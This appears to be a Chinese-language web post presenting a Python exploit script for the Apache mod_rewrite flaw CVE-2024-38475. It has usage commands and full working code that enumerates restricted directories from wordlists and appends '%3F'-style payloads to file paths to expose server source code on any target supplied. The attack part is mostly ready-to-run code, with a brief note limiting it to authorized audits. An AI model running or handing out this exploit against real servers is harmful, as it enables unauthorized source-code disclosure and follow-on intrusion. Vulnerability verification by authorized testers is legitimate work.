Apache安全漏洞测试工具 - CVE-2024-38475利用脚本

Apache安全漏洞测试工具 (CVE-2024-38475)

基于Python开发的Apache服务器漏洞检测工具,专门针对CVE-2024-38475漏洞进行测试。该漏洞涉及Apache mod_rewrite模块在文件系统路径匹配时的弱点,可能导致源代码意外暴露。

功能特性

  • 目录枚举检测:通过403状态码识别可访问但受限的Web目录
  • 源代码泄露测试 :使用特殊载荷(%3F、%3Faaaaaaaaaaaaaaaaaaaaaa.php)检测文件源码暴露漏洞
  • 多Web根目录支持:可同时测试多个Web根目录配置
  • 灵活协议选择:支持HTTP和HTTPS协议
  • 字典驱动测试:支持自定义目录和文件字典,提高测试覆盖率
  • 彩色输出反馈:使用颜色区分不同类型的发现结果

安装指南

系统要求

  • Python 3.6+
  • pip包管理工具

依赖安装

bash 复制代码
pip install requests termcolor

获取字典文件

建议使用以下字典文件:

  • raft-medium-directories.txt - 目录字典
  • raft-medium-files.txt - 文件字典

可从SecLists项目获取标准字典文件。

使用说明

基本用法

bash 复制代码
python3 script.py --webroots webroots.txt --url 127.0.0.1 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt

参数说明

参数 必选 描述
--webroots 是 Web根目录列表文件路径(TXT格式)
--url 是 目标URL或IP地址
--schema 否 协议类型:http或https(默认:http)
--directory_wordlist 是 目录字典文件路径
--file_wordlist 是 文件字典文件路径

使用示例

测试本地Apache服务器

bash 复制代码
python3 script.py --webroots webroots.txt --url localhost --schema http --directory_wordlist dirs.txt --file_wordlist files.txt

测试HTTPS网站

bash 复制代码
python3 script.py --webroots webroots.txt --url example.com --schema https --directory_wordlist dirs.txt --file_wordlist files.txt

webroots.txt格式示例

bash 复制代码
/var/www/html
/home/user/public_html
/opt/lampp/htdocs

典型使用场景

  1. 安全审计:在授权范围内对Apache服务器进行安全评估
  2. 漏洞验证:验证CVE-2024-38475漏洞是否存在
  3. 配置检查:检测mod_rewrite配置是否导致源代码泄露风险

核心代码

目录枚举模块

python 复制代码
def directories(webroot, url_ip_domain, schema, directory_wordlist):
    """检测可访问但受限的目录(返回403状态码)"""
    with open(directory_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            r = requests.get(f"{schema}://{url_ip_domain}/{line}/", allow_redirects=False)
            if r.status_code == 403:
                print(colored(f"Found directory - {line} in {webroot}", "green"))

源代码泄露检测模块

python 复制代码
def source_code_files(webroot, url_ip_domain, schema, file_wordlist):
    """使用特殊载荷检测源代码泄露漏洞"""
    with open(file_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            # CVE-2024-38475特定载荷
            for payload in ["%3F", "%3Faaaaaaaaaaaaaaaaaaaaaa.php"]:
                r = requests.get(f"{schema}://{url_ip_domain}/{webroot}/{line}{payload}", allow_redirects=False)
                if r.status_code == 200:
                    print(colored(f"Response code: {r.status_code} | Found File - Payload: {r.url} in {webroot}", "green"))

主控制流程

python 复制代码
def main(webroot_file, url_ip_domain, schema, directory_wordlist, file_wordlist):
    """主控制函数,协调目录枚举和文件检测"""
    with open(webroot_file, 'r') as f:
        webroots = [line.strip() for line in f.readlines()]
    
    for webroot in webroots:
        print(colored(f"\nLooking for 403 directories in {webroot}.", "yellow"))
        directories(webroot, url_ip_domain, schema, directory_wordlist)

        print(colored(f"\nLooking for interesting source code disclosures in {webroot}.", "yellow"))
        source_code_files(webroot, url_ip_domain, schema, file_wordlist)

命令行参数解析

python 复制代码
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Webroot and file enumeration script.')
    parser.add_argument('--webroots', type=str, required=True, help='Path to the webroots file (TXT)')
    parser.add_argument('--url', type=str, required=True, help='Target URL or IP address (e.g., 127.0.0.1)')
    parser.add_argument('--schema', type=str, choices=['http', 'https'], default='http', help='Schema to use (http or https)')
    parser.add_argument('--directory_wordlist', type=str, required=True, help='Path to the directory wordlist file (TXT)')
    parser.add_argument('--file_wordlist', type=str, required=True, help='Path to the file wordlist file (TXT)')

    args = parser.parse_args()
    main(args.webroots, args.url, args.schema, args.directory_wordlist, args.file_wordlist)

6HFtX5dABrKlqXeO5PUv/99KwcudWgXADFTG1+cK8U4=

相关推荐
跨境小彭13 分钟前
Temu拉美站点铺货实操复盘:手动复制痛点与批量自动化解决方案
服务器·人工智能·搜索引擎·自动化·temu电商运营
封印师请假去地球钓鱼18 分钟前
边解边变的问题:从“决策依赖“一词出发
人工智能·算法
AI搅拌机1 小时前
ComfyUI管理大师:安全稳定升级+切换指定版本!
人工智能
浅安的邂逅1 小时前
20929-OpenAI 一天踩三脚急刹:暂停前沿训练、叫停 Astra、披露越权访问澳政府网站
人工智能·大模型·ai编程·行业动态·ai日报
小虎AI生活1 小时前
OpenAI 给 AI 发了台电脑,可惜你还没学会派活
aigc·ai编程
Qyr991 小时前
2026-2032直接芯片液冷板市场爆发式增长:AI算力浪潮下的热管理核心赛道
大数据·人工智能
微学AI1 小时前
不让每一步都调用最贵模型:用蓝耘智能路由改造自主式研究 Agent
数据库·人工智能·蓝耘
a努力。1 小时前
百毫秒搜索架构:高可用电商系统实战
人工智能
蓝色的风-20261 小时前
国产算力双雄对决:曙光8000十万卡集群 vs 华为昇腾950超节点深度解析
大数据·人工智能·自然语言处理
xcLeigh1 小时前
AI 编程的未来趋势:2025-2026 年你必须关注的六大技术方向
人工智能·ai·ai编程